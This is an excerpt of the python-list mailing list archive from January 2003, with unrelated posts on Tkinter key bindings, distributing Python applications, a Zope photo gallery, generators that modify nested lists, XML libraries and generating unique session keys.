Nick Vargish <nav at adams.patriot.net> wrote:
>> > In theory, theory is preferable, but, in practice, I'd prefer practice.
>> +1 QOTW
> 
> What about:
> 
>    "The difference between theory and practice is larger in practice
>     than in theory."

    In theory there is no difference between theory and practice; in
    practice there is.

I believe this is Feynman's formulation of this widely-expressed idea.



From tundra at tundraware.com  Fri Jan 10 16:30:11 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 10 Jan 2003 21:30:11 GMT
Subject: tkinter: Passing arguments when binding keys to functions
In-Reply-To: <mailman.1042226899.24007.python-list@python.org>
References: <72pkva.lsr.ln@boundary.tundraware.com> <mailman.1042191206.28149.python-list@python.org> <tovmva.2s51.ln@boundary.tundraware.com> <mailman.1042226899.24007.python-list@python.org>
Message-ID: <2odnva.e281.ln@boundary.tundraware.com>

Abel Daniel wrote:
> Tim Daneliuk (tundra at tundraware.com) wrote:
> [...snipped...] 
> 
>>for x in range(len(array)):
>>    y = array[x]	
>>    widget.bind('<F' + str(x+1) + '>', lambda arg=y : CommonHandler(arg))
> 
> [...more snipped...] 
> 
>>So, I guess the heart of my question becomes, "Why does this formulation
>>pass the event object, not the array member to CommonHandler()>"
> 
> Because the callback will get the event object as a parameter. (And that
> overwrites the default argument.)
> 
> you need:
>      widget.bind('<F' + str(x+1) + '>', lambda e, arg=y : CommonHandler(arg))
> 
> 
> abli
> abli at freemail.hu
> 

Aha! That explains it.  There is a minor error in your example, I believe.
Shouldn't the code be:

widget.bind('<F' + str(x+1) + '>', lambda e, arg=y : CommonHandler(e, arg))
                                                                   ^^^

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From johnroth at ameritech.net  Fri Jan 31 17:21:18 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 31 Jan 2003 17:21:18 -0500
Subject: A True Beleiver, about to turn Heretic!
References: <mailman.1044041160.4935.python-list@python.org>
Message-ID: <v3ltk4g2nqglad@news.supernews.com>

"Andy Jewell" <andy at wild-flower.co.uk> wrote in message
news:mailman.1044041160.4935.python-list at python.org...
Ladies and Gentlemen,

I fear I am going to need the cosiness of python-list for mental
stability
over the next 6 months.  The *worst* part is that, in a way, Python
itself is
to blame!

A harsh accusation, I hear you cry.  Not so: read my story and
commiserate
with me...

I've been working for the same company for about 4 years now, doing
mostly
network admin on Novell, Win NT 4 and recently Win 2000.  We have about
350-ish Win XP workstations, spread around a rather large industrial
site
(about 3km x 1.5km).

So, I've used Python since about late 1999 as an admin aid (and
leg-saver):
I've written quite a few utilities to such things as spidering our LAN
and
remotely reconfiguring JetDirect boxes, or remotely altering the Windows
registry to enable dynamic IP addresses a la DHCP, shifting gigabytes of
user
data incrementally between the 'old' Novell system and the 'new' windows
one
and so on.

This has been noticed.  Now, instead of simply stating a problem and the
desired resolution, team members now often ask 'Andy - can you write a
[python] script to do that?'.  My reply, usually of course, is 'Yes'.
They
normally get their script pretty quickly too, depending on what new
modules I
have to grok!  Comments from my team-leader like 'Seems quite powerful,
this
Python...' crop up fairly often now.  I just grin...

So a week or so ago, I was called to an impromptu meeting.  I was told
that
our 'developer' contractor will be leaving soon, as the long-running
project
he's working on is drawing to a close.  Although he'll be leaving, the
system
he currently maintains will still need a custodian, not so much for
development, but for maintenance and 'the odd tweak'.

The application is written in RPG.  Three dialects - RPG IV, RPG/400 and
RPG
ILE.  It's business-critical and runs on an AS/400.  It's also nearly 10
years old and a lot of it was written using a now disused CASE tool.

After casing the job out, I came up with two pages of 'objections' - I
voiced
them to my line manager, saying 'What's the reward?'.  A bit flustered,
he
said they hadn't thought of that...

On a subsequent meeting, I was informed that they beleive 'I'm the man
for the
job' - due, in part, to my exploits with Python.

I've since pinned them down to a pay review (with no guarantees) and
about 5
courses.  I've been programming with various languages for longer than I
care
to relate, because it makes me feel 'old', so I'm sure I can get my head
round it, but, after Python it's going to feel like cleaning toilets!

Although Python runs on the AS/400, and I've fiddled idly with it
recently,
it's not practical to 'rewrite' this app, and if I suggested it, I'd be
laughed in the face.  For my sanity, though, I reckon I'll be employing
Python to do various 'scripting' tasks on this system, soon!

So, with the next line of Python magic that you cast, please spare a
thought
for the Python Neophyte who got bitten on the ass by the language that
time
forgot, all because of his Pythonic piety.

Out of interest, are there any reformed RPG'ers out in Pythonia?

Have a good weekend, Pythonistas.

-andyj

Funny you should ask. Someone at ObjectMentor just posted
a question on, I believe, the Yahoo "testdrivendevelopment"
mailing list about COBOL and RPG. It should still be in the last
couple of dozen messages...

Lotsa luck...

John Roth










From vanevery at 3DProgrammer.com  Thu Jan 30 16:24:47 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 21:24:47 GMT
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net> <ouwukn6jlx.fsf@andlx-anamika.cisco.com>
Message-ID: <zKg_9.5359$Wu1.409374@newsread1.prod.itd.earthlink.net>

Ganesan R wrote:
> IMHO your comment deserves the flames it got.

IMHO, people who gratuitously play "the troll card" in a debate should be
shot.  Anyone who believes what they say and is prepared to argue the point
is not a troll.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.






From roy at panix.com  Thu Jan  2 11:05:38 2003
From: roy at panix.com (Roy Smith)
Date: 2 Jan 2003 11:05:38 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com>
Message-ID: <av1o0i$h7e$1@panix2.panix.com>

I know what XP is, but what are PSP, SEI, TDD, and SAPDB?

I tried Google, but it wasn't much help.  I assume the PSP you're
referring to isn't Paint Shop Pro, Progressive Supranuclear Palsy, or
the Pennsylvanie State Police.



From claird at lairds.com  Fri Jan  3 11:15:46 2003
From: claird at lairds.com (Cameron Laird)
Date: Fri, 03 Jan 2003 16:15:46 -0000
Subject: Distributing Python apps
References: <3NhR9.5535$8n5.1039045@news20.bellglobal.com>
Message-ID: <v1bdpi6ek57350@corp.supernews.com>

In article <3NhR9.5535$8n5.1039045 at news20.bellglobal.com>,
Norman Skrzypinski <zypin at sympatico.ca> wrote:
>Hi, all.
>
>I'm a retired mainframer.  I've designed several financial software
>applications and I'm looking around for a suitable language to use to code
>it.
>
>I've spent the last couple of months investigating Visual Basic, Visual C++,
>Euphoria, Python and Perl.  I like Python, but I'm put off by the
>pain-in-the-rear methods of creating standalone Python applications.  Isn't
>this a serious shortcoming that should receive a lot of immediate attention?
>Is there a developer-friendly builder-installer in the works?
>
>Norm
>
>
>
>

Let's clarify the discussion.  I gather your target
users rely on Win*; is that correct?  Is it py2exe
or Gordon's installer (or both) that you find
unfriendly?  Have you found an analogue in the Perl
world that suits you?
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From meinrad.recheis at aon.at  Mon Jan 27 15:50:33 2003
From: meinrad.recheis at aon.at (Meinrad Recheis)
Date: Mon, 27 Jan 2003 21:50:33 +0100
Subject: list of Canvases contais only Nones
Message-ID: <3E359B99.6060102@aon.at>

hello,

i am creating a frame with a lot of small canvases on it ant want to
store the references in a list, but i get a list of nones instead.
the frame gets created and shows all the canvases! so they are 
definitely somewhere.

whats wrong with my code?

#my try:

canv_list = []
root = Tkinter.Tk()
for j in range(0,y_nr):
     for i in range(0,x_nr):
         canv_list.append(Tkinter.Canvas(root,
                                         width = x_size,
                                         height = y_size,
                                         background = 'white',
                                         border = 0
                                         ).grid(row=j,column=i)
                          )
print canv_list

# the output of this code:

[None, None, None, None, None, None]

Thanks for help, Meinrad Recheis




From gbreiner at ias.u-psud.fr  Wed Jan 29 04:14:26 2003
From: gbreiner at ias.u-psud.fr (Gerard Breiner)
Date: Wed, 29 Jan 2003 10:14:26 +0100
Subject: GUI is it possible with mod_python ?
In-Reply-To: <mailman.1043771452.25609.python-list@python.org>
References: <Pine.WNT.4.44.0301281614020.1016-100000@azur>
 <mailman.1043771452.25609.python-list@python.org>
Message-ID: <Pine.WNT.4.44.0301290943150.2248-100000@azur>

Hi!

First of all, thank you for your answer.

> Did you do any OpenGL based 3D graphics with PHP?
No, it doesn't.

> Do you think about generating 3D with VPython and present it on a WEB page?

Yes I think,  but interact with the client. if that is realizable, would
you have an example?

Thanks indeed.
best regards
Gerard Breiner
Institut d'Astrophysique Spatiale
Batiment 121
91405 Orsay Campus
France




From markus_wankus at hotmail.com  Fri Jan 17 08:50:10 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Fri, 17 Jan 2003 08:50:10 -0500
Subject: Python COM win32ui examples/tutorials?
Message-ID: <opri5cpwci8cxiwf@news1.on.sympatico.ca>

Hi,

I have been wallowing in my own ignorance with Python, COM, and win32ui.  I 
know there are examples and tutorials on the Mr. Hammond's website, but is 
there a repository somewhere of more beginner-type samples, or just a whole 
whack of example code?  Most importantly, how would I build simple GUI 
components with only win32ui (like a toolbar, or popup menu)

I have gotten a Python COM server and client going no problem, but I am 
trying to do more advanced things, and I just don't know enough about COM 
to know how to do it.  Like, how would you go about building a toolbar with 
win32ui.  Is it even worth trying, or should I just go back to wxPython - 
which I know?

Also, can you attach to running applications, and create your own toolbars 
within those apps?  I am connecting to an app with COM, and sucessfully 
having it call Python functions from custom menu items (through it's 
internal API to add your own menu items), but I can't use it's internal API 
to add toolbars because it is expecting to talk to a .dll and get the 
bitmap resources from the connecting .dll.  I am sucessfully creating the 
toolbar, but the showing of the toolbar fails when it looks for the 
resources.  I can't seem to find how to access resources properly with 
win32ui.  I figured, maybe I could somehow attach to the running app, and 
make win32ui think that app was it's parent, and create toolbars etc. 
inside of it with the win32ui calls.  Maybe this is impossible.

Any help would be appreciated.

Thanks,

-- 
Markus



From LogiplexSoftware at earthlink.net  Fri Jan 17 16:23:13 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 17 Jan 2003 13:23:13 -0800
Subject: iterating in reverse
In-Reply-To: <wDZV9.138$bs2.110@news2.central.cox.net>
References: <f57664b9.0301161546.37c85159@posting.google.com>
	 <3E274D34.8F0C4348@alcyone.com>
	 <f57664b9.0301170105.a7d95fa@posting.google.com>
	 <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net>
	 <7xznpzv93c.fsf@ruckus.brouhaha.com>
	 <wDZV9.138$bs2.110@news2.central.cox.net>
Message-ID: <1042838592.32094.139.camel@software1.logiplex.internal>

On Fri, 2003-01-17 at 12:23, Steve Holden wrote:

> I've even tested it.

Hmph. Show off.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From nobody at nowhere.near.here  Mon Jan 27 13:16:21 2003
From: nobody at nowhere.near.here (nobody)
Date: Mon, 27 Jan 2003 18:16:21 -0000
Subject: zipfile module and exceptions
References: <b13nqk$irb$1@newsg3.svr.pol.co.uk> <mailman.1043687396.19493.python-list@python.org>
Message-ID: <b13t1k$jpa$1@newsg4.svr.pol.co.uk>

Thank you, I did overlook the else: possibility.

"Skip Montanaro" <skip at pobox.com> wrote in message
news:mailman.1043687396.19493.python-list at python.org...
>     >> The problem is that in the except clause the z.close() fails
because
>     >> the z is not known. Am I not supposed to close the file in the case
>     >> of IOError? If not the solution is simple... Any ideas?
>
> Try something like this instead:
>
>     try:
>         z = zipfile.ZipFile(file, "r")
>     except (possible creation errors here):
>         print >> sys.stderr, "Can't open zipfile %s for reading" % file
>     else:
>         if z.testzip() is None:
>             self.listBox2.Append(file)
>         else:
>             self.listBox3.Append(file)
>         z.close()
>
> Skip
>





From cliechti at gmx.net  Sat Jan  4 22:15:29 2003
From: cliechti at gmx.net (Chris Liechti)
Date: 5 Jan 2003 04:15:29 +0100
Subject: Distributing Python apps
References: <GCEDKONBLEFPPADDJCOEIEDIHCAA.whisper@oz.net> <mailman.1041728827.16741.python-list@python.org>
Message-ID: <Xns92FA2BAE1982Ecliechtigmxnet@62.2.16.82>

"Norman Skrzypinski" <zypin at sympatico.ca> wrote in
news:mailman.1041728827.16741.python-list at python.org: 
> David LeBlanc wrote:
>> In the end, it's up to you as to whether or not you want to take a
>> lot longer to develop the same app in VB or C++ compared to the
>> relatively minor
>> inconvenience of a slightly longer d/l time for your users. IMO,
>> Python is the clear winner.

yes

> In the end, I request that you very capable Python experts give me a
> way to give my customers a 750 KB app.

you seem to ignore that VB uses a runtime that is around 1MB for the latest 
version... many users have that runtime installed, but you cant be sure so 
you have to deliver it. that makes at least 1.75MB for your app.

http://www.completelyfreesoftware.com/vb_runtime_files.html

and if you use extra activex controls thats adds up again.

> That's not too much to ask, I think.  It's been done, by every other
> major software company.

well, most applications you pay for are much larger than 750kB.

you can have Python starting form 400kB (compressed) then every extension 
module you use adds a bit and a huge amount of space can be used by GUIs. 
that depends on the GUI lib you decide to use if you use win32all (or 
ctypes but thats not easy to use for GUI) it won't add too much. 1.75MB 
will be possible, i think.

but honestly, who cares how big it is? up to 5MB is small for todays 
software and i would't care up to that number. 

chris
-- 
Chris <cliechti at gmx.net>




From tutal at msn.com  Mon Jan  6 15:15:33 2003
From: tutal at msn.com (mlorfeld)
Date: 6 Jan 2003 12:15:33 -0800
Subject: Simple Zope Photo Album
References: <74977d59.0301031118.75afd76d@posting.google.com> <slrnb1dbkp.22e2.karsten@datasink.webmonster.de>
Message-ID: <74977d59.0301061215.7d734f8e@posting.google.com>

"Karsten W. Rohrbach" <karsten at rohrbach.de> wrote in message news:<slrnb1dbkp.22e2.karsten at datasink.webmonster.de>...
> mlorfeld <tutal at msn.com> wrote:
> [...]
> > image, python script, wiki).  So basically I'm looking for a Q&D
> > pytyhon/dtml/html code snippit that will dynamically create a photo
> > album.  Any suggestions?
> 
> - Install ImageMagick locally
> - Create a work directory hierarchy
>     $ mkdir work
>     $ mkdir work/img
>     $ mkdir work/thumb
> - Put all images into ./work
> - run ImageMagick over them to create jpg and thumbnails
>   (presented script is from my work dir wich contains only PNG images,
>   I publish JPEG pictures)
>     #!/bin/sh
>     for i in *.png
>     do
> 	FNAME=`echo -n ${i} | sed s/.png$//`
> 	echo ${FNAME}
> 	convert ${i} ./img/${FNAME}.jpeg
> 	convert ${i} -geometry 96x96 ./thumb/${FNAME}.jpeg
>     done
> - Now FTP to your Zope server and upload the two directories relative to
>   you gallery container object (Folder) - I use NcFTP for that
>   (recursive put)
> - on the Zope side you can install a simple DTML method which creates a 5
>   by somewhat table of thumbnails. [1]
>     <dtml-let numpics="_.len(img.objectIds(['Image']))">
>     <table class="gallery" align="center">
>     <dtml-in expr="img.objectValues(['Image'])" sort="id">
> 	<dtml-let seq=sequence-number>
> 	<dtml-if "(seq - 1) % 5 == 0">
> 	    <tr>
> 	</dtml-if>
> 	<td class="gallery"><a href="pics/<dtml-var "getId()">" 
> 	    target="_blank"><img src="thumbs/<dtml-var "getId()">" 
>             border="0" alt="[]"></a></td>
> 	<dtml-if "seq % 5 == 0">
> 	    </tr>
> 	</dtml-if>
> 	</dtml-let>
>     </dtml-in>
>     </tr>
>     </table>
>     <p align="right">
>     (<dtml-var numpics > Photos)
>     </p>
>     </dtml-let>
> 
> The beneift is, that you won't need any additional Zope products. The
> drawback is the hackish generation of URLs (which produces relative URLs
> that might lead to acqusition problems, depending on where you put the
> DTML method).
> 
> Regards,
> /k
> 
> [1] http://www.rohrbach.de/Content/Karsten/Pics


Thanks,
This is *almost* exactly what I wanted.  The only problem is that I
have no FTP access, so I will have to upload manually through the Zope
interface, but that won't be too big of a problem, just time
consuming.



From tim.one at comcast.net  Wed Jan 15 23:26:23 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 15 Jan 2003 23:26:23 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E26198F.24E1EC4@alcyone.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEMJDIAB.tim.one@comcast.net>

[Tim Peters]
> Whether any entity in the US apart from the government can
> meaningfully put something in the public domain appears to have
> the legal answer "no", according to one US lawyer who researched
> the issue.  Businesses and individuals supposedly can't disclaim
> copyright (the meaning of "public domain" -- nobody holds copyright)
> even if they want to.

[Erik Max Francis]
> Uh, where in the world do you get this idea?

Which one?  The definition of public domain is conventional.  The rest is
from private communication with a Famous IP Lawyer during Python's licensing
struggles, and I don't have permission to repeat that here.  Talk to a
lawyer if you care a lot:  it's a question of law, with lots of arguments on
both sides.  Creative Commons is on the "sure you can" side of it:

 http://creativecommons.org/

Lawrence Rosen (the Open Source Initiative's lawyer) is on the "not a
chance" side of it; e.g.,

 http://www.mail-archive.com/license-discuss at opensource.org/msg03380.html

An insufferably long scholarly piece arguing all sides:

 http://www.nyls.edu/samuels/copyright/beyond/articles/public.html

Alas, it isn't open to Usenet debate, so I'm out of this now <wink>.





From andrew at indranet.co.nz  Sat Jan  4 14:09:14 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sun, 05 Jan 2003 08:09:14 +1300
Subject: Help, replacing the actual value from a data strucutre in a 
 iterator
In-Reply-To: <av77du$44f$0@216.39.172.122>
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com>
 <msudnajgx8ojFoujXTWcqw@comcast.com>
 <c490a7ae.0301040331.33ff489f@posting.google.com>
 <mailman.1041682627.13034.python-list@python.org>
 <av77du$44f$0@216.39.172.122>
Message-ID: <562280000.1041707354@localhost.localdomain>

I just liked the wierd look of the no-argument lambda :-)

You're right, just returning the element straight is more efficient.

--On Saturday, January 04, 2003 17:59:26 +0000 Bengt Richter <bokr at oz.net> 
wrote:

> On Sun, 05 Jan 2003 01:15:35 +1300, Andrew McGregor
> <andrew at indranet.co.nz> wrote:
>
>> Hi,
>>
>> --On Saturday, January 04, 2003 03:31:06 -0800 george hart
>> <gehart24 at yahoo.com> wrote:
>>
>>>> o is now bound to 0
>>>>
>>>> > o=100   # where i want this assignment to change a[0] to 100
>>>>
>>>> No way.  You are simply rebinding 'o' to a new value.  Just write
>>>> 'a[0] = 100'!
>>>
>>> Hi,
>>>
>>> I'm sorry, I think my example was not very good.  I can't just write
>>> 'a[0]' because the *real* data structure I am working with is very
>>> complex and nested.  It would be more like a[1][10][20][40] etc..
>>>
>>> I am a relatively new to python so I am probably trying solve the
>>> problem the way I would in C (it would be nice to have pointers right
>>> now :-).   The returned value from the .next() method appears to be
>>> pointing to the same memory address as the respective element in the
>>> data structure.  It seems logical that there should be an easy way to
>>> modify it.
>>
>> It is pointing to the same address; but it's the address of the integer
>> value 0, not the list slot containing that 0.
>>
>>> Plus, there must be a way to do this?  What is the point of being able
>>> use a generator to iterate over a structure if you can't modify any of
>>> the values?
>>
>> How about:
>>
>> from __future__ import generators
>> from types import *
>>
>> a=[0,1,2,[20,30,40],9,3]
>> def generator(l):
>>    for i in xrange(len(l)):
>>        if type(l[i]) is list:
>>            for q in generator(l[i]):
>>                yield q
>>        else:
>>            yield (lambda : l.__getitem__(i),
>>                   lambda x: l.__setitem__(i, x))
>>
>> print a
>> gen = generator(a)
>> g, s = gen.next()
>> print g()
>> s(100)
>> print a
>> g, s = gen.next()
>> g, s = gen.next()
>> g, s = gen.next()
>> g, s = gen.next()
>> s(100)
>> print a
>>
>> which prints:
>> [0, 1, 2, [20, 30, 40], 9, 3]
>> 0
>> [100, 1, 2, [20, 30, 40], 9, 3]
>> [100, 1, 2, [20, 100, 40], 9, 3]
>>
> That's prettier than what I suggested, but probably not a fast.
>
> Also, though it breaks the symmetry, why not
>
>             yield (l[i], lambda x: l.__setitem__(i, x))
>
> since getting doesn't need to be wrapped?
>
> Regards,
> Bengt Richter
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From laocoon at eudoramail.com  Fri Jan 31 17:35:41 2003
From: laocoon at eudoramail.com (Lao Coon)
Date: Fri, 31 Jan 2003 23:35:41 +0100
Subject: Setting a Global Default for class construction?
References: <b1erj009ok@enews3.newsguy.com>
Message-ID: <Xns9314F01258E9CLaocoon@62.153.159.134>

Josh English <english at spiritone.com> wrote in 
news:b1erj009ok at enews3.newsguy.com:

> Here is the code that I am struggling with in a Python module:
> 
> _Thing = "it"
> 
> def SetThing(s):
>      global _Thing
>      _Thing = str(s)
> 
> class NewThing:
>      def __init__(self,thing=_Thing):
>           self.Thing = _Thing

Here you're always setting self.Thing to "it"
you want "self.Thing = thing"..



From morden at shadows.net  Wed Jan 15 21:21:02 2003
From: morden at shadows.net (morden)
Date: Wed, 15 Jan 2003 18:21:02 -0800
Subject: Feeding commands to a remote python program versus using CORBA
In-Reply-To: <b04fn0$b37$1@bob.news.rcn.net>
References: <b04fn0$b37$1@bob.news.rcn.net> <x7r8be599l.fsf@guru.mired.org>
Message-ID: <b04un7$j0j$1@bob.news.rcn.net>

Mike Meyer wrote:

> morden  writes:
>
>
> >I need to ditch ILU in a portion of our system (it's buggy). I'm
> >torn between replacing ILU with something like OmniORB and embedding
> >a python interpreter into the server (written in C++ unfortunately)
> >and have it invoked in a fashion similar to that of telnetd. Corba
> >seems like an overkill but making function wrappers for what are
> >corba method implementations on server seems like more more.
>
>
> >It's just a simple client->server subsystem, no fancy replication and
> >distribution stuff.
> >
> >Any thoughts on this?
>
>
> My experiments - see
> show that CORBA is lighter weight than a Python interpreter. Wrapping
> the objects and methods up to export to the two is about the
> same. Going with CORBA gives you the advantage that you can use
> whatever your favorite language is on the client side, even if that
> isn't Python.
>
>         

I won't be using python on the client side. I don't see why should I. I 
plan to embed python commands in C++ on the client side.




From phr-n2002b at NOSPAMnightsong.com  Mon Jan 13 01:16:24 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 22:16:24 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042408943.10009.python-list@python.org>
Message-ID: <7x4r8d8thj.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.com> writes:
> > I remember seeing a paper once about OpenGenera which was a
> > proprietary (not "open" despite its name) program to run Symbolics
> > Genera programs on the DEC Alpha by simulating the Lisp machine
> > instruction set.  It basically said they found that by making the
> > simulation's interpreter loop and register set small enough to fit
> > in the Alpha's primary caches it ran as fast as they'd expect
> > microcode to run.
> 
> I agree. With a real engine like an Alpha.
> 
> My target physical engine is clearly the whole set of X86's which
> are dominating the world (still).  I've written several small
> intepreters in C, also tried to make some fast Forth interpreter,
> and always found that the X86 doesn't have enough registers to make
> a fast, interpreted stack engine.  Whenever you try to get the C
> compiler to keep your vital variables in registers, then you have
> nearly nothing left to work with.  Maybe I could have optimized
> towards the primary cache, I never did this.  By creating a register
> machine, I might have the chance to get the register file into that
> cache, and to have the interpreter loop variables in registers, still.

I think for the x86 you should try to generate native code rather than
an efficient interpreter.  In general though, if the interpreter does
a reasonable job, IMO it's not worth trying to optimize it too much.
I'd instead concentrate more on making the compiler easy to retarget.

Btw, recent x86's have very fast L1 caches.  With just a little bit of
attention to pipeline scheduling you should be able to avoid almost
all stalls.



From kyle at lakeofburningfire.org  Wed Jan 29 20:50:59 2003
From: kyle at lakeofburningfire.org (Kyle Yancey)
Date: Thu, 30 Jan 2003 01:50:59 GMT
Subject: biggles on windows
References: <b19s8i$11fvme$1@hades.rz.uni-sb.de>
Message-ID: <291h3v8h8dm4mdncjvu62emj3fs4breigg@4ax.com>

Doh.  I missed the part where you said you used activestate.  I'm an
idiot. Ignore the comment above.

On 30 Jan 2003 00:39:46 GMT, Uwe Schmitt <uwe.schmitt at procoders.net>
wrote:

>Hi,
>
>I tried to install the 2d plotting package biggles
>(http://biggles.sf.net) on my Win2K machine. I use
>ActiveState python.
>
>My problem is the following: when using the binary
>installer for biggles, the installer does not
>find my python installation and entering the
>apropriate path manually is not possible.
>
>I posted the problem to the biggles mailing list
>but got no answer.
>Did anyone manage this problem ?
>
>Greetings, Uwe.




From martin at v.loewis.de  Tue Jan  7 15:25:41 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 07 Jan 2003 21:25:41 +0100
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk>
Message-ID: <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> That was considered harmful (although I disagreed) so why is this
> implicit conversion allowed? 

It follows the general principle that, when combining byte strings and
Unicode strings, the byte string will be converted to Unicode, not
vice versa.

Regards,
Martin




From Mongryong at sympatico.ca  Sat Jan 25 12:29:12 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 25 Jan 2003 12:29:12 -0500
Subject: Generating Unique Keys
In-Reply-To: <15922.49110.110304.235838@montanaro.dyndns.org>
References: <1043511783.4939.1.camel@refugeeMedia> 
	<15922.49110.110304.235838@montanaro.dyndns.org>
Message-ID: <1043515752.4943.10.camel@refugeeMedia>

Right now, I mainly need a way to generate unique (web) session keys. 
However, it would be nice to have a general purpose function for
generating unique keys.

For session keys, is their a way in Python to grap a client's MAC
address.  If so, is there any security concern with using a client's MAC
address?

Thanks.

On Sat, 2003-01-25 at 11:48, Skip Montanaro wrote:
> 
>     Mongryong> Is there python library for generating unique keys on Linux?
>     Mongryong> Something sort of like Window's HKEY generator.  Thanks.
> 
> Unique over what domain?  For all time?  For just this run?  For just this
> computer?  Int, float, string?
> 
> I'll just toss something simple out there to stimulate your creative juices.
> What about:
> 
>     "%s:%f:%f" % (socket.gethostname(), time.time(), random.random())
> 
> I realize it's not guaranteed to be completely unique, but for most uses it
> will probably be "good enough".  In fact
> 
>     "%s:%f" % (socket.gethostname(), time.time())
> 
> will probably be "good enough" on systems with decent clocks:
> 
>     >>> time.time() == time.time()
>     False
> 
> Skip
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From bkc at Murkworks.com  Thu Jan  2 10:58:00 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Thu, 2 Jan 2003 10:58:00 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
Message-ID: <3e145e67_1@goliath.newsgroups.com>

I'm looking for war stories, comments and insight regarding suitable
development methodologies for "lone wolf" programmers.

That is, developers who work alone.  I'm also interested in how these
methods work in the context of Python development.

For example, I'm considering PSP and would like to hear from others who are
using it, or have tried it. "Real life" stories are useful. I'm somewhat
annoyed by the SEI (sm) aspect of PSP, so if you haven't been tutored by an
SEI instructor, phrase your statements as "PSP-like".

Regarding XP.. I'm a lone developer, so pair programming doesn't work, and I
can't see how the Code review step would be any different than what I do
now.

I've also looked into "Software Inspection" methods, but .. again I'm
looking at my own stuff.

I'm intrigued by TDD and have started "test first, code second" on an
in-progress project (a large Zope/Python monster that is a wart-on-a-wart, a
bag-on-a-bag). Fortunately conversion to SAPDB is giving me an opportunity
to clean house.

---

Why should developers who work for big companies with deep pockets have all
the fun?

How can individual developers in small companies or even, self-employed
consultants, sharpen their toolset and implement best-of-breed development
methodologies? What really works for the solitary programmer?

---

I'm also looking for an existing group, wiki, mailing-list or whatnot whose
purpose is to bring together solitary developers (self-employed or small
business) to help them work out issues particular to our situation:
information & tools access, development techniques, work-ethics, personal
health and growth, continuing education, retirement and aging, etc. Does
anyone know of anything like this?

Thanks for any comments.


--
Novell DeveloperNet Sysop #5





-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From zopestoller at thomas-guettler.de  Thu Jan  9 10:56:20 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Thu, 09 Jan 2003 16:56:20 +0100
Subject: XML and Python
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com>
Message-ID: <avk5u6$se4$04$1@news.t-online.com>

Paul Smith schrieb:
> 
> Hi gang,
>     I recently rediscovered Python, and I'm interested in using it for a 
> project I'm embarking on. It involves a lot of XML/XSLT processing, and 
> I'm trying to figure out which python XML module set/paradigm to 
> concentrate on.
>     Can anyone point me to a resource which compares and contrasts, and 
> describes the interalationships between the many python XML packages out 
> there? I've briefly looked through xmllib, 4Suite, libxml2, and PyXML, 
> and found there's a lot of overlap and inbreeding. Anyone out there with 
> experience using these various packages care to run down the 
> virues/faults of each and balance ease-of-use vs. features?

The XML modules that come with python have the most important
methods.

After using DOM and XSLT I learned that you are often
quicker with a simple SAX parser. I wasted a lot of time with XSLT.

  thomas




From adalke at mindspring.com  Sat Jan 11 15:47:08 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 13:47:08 -0700
Subject: syntax for preset locals without using dummy args with defaults
In-Reply-To: <avpspr$r9v$0@216.39.172.122>
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com> <avo5ir$m9h$0@216.39.172.122> <3E1FAA5F.F426AB6F@alcyone.com> <avpspr$r9v$0@216.39.172.122>
Message-ID: <avq0ai$684$1@slb9.atl.mindspring.net>

Bengt Richter wrote:
> My first choice would be a new keyword to provide a place other than the parameter
> list to specify the def-time code that generates the local bindings in question
> (e.g., z above):
> 
>      def foo(x, y=default):
>          preset: z=some_expression
>          ...

Tangenting somewhat, here's one which doesn't have a new keyword.
Kinda ugly though

def spam(x, y = default):
   def z = some_expression
   return x*y*z

Ugh, ugh, no, I take that suggestion back.  Blech.

					Andrew
					dalke at dalkescientific.com




From DennisR at dair.com  Tue Jan 28 09:39:46 2003
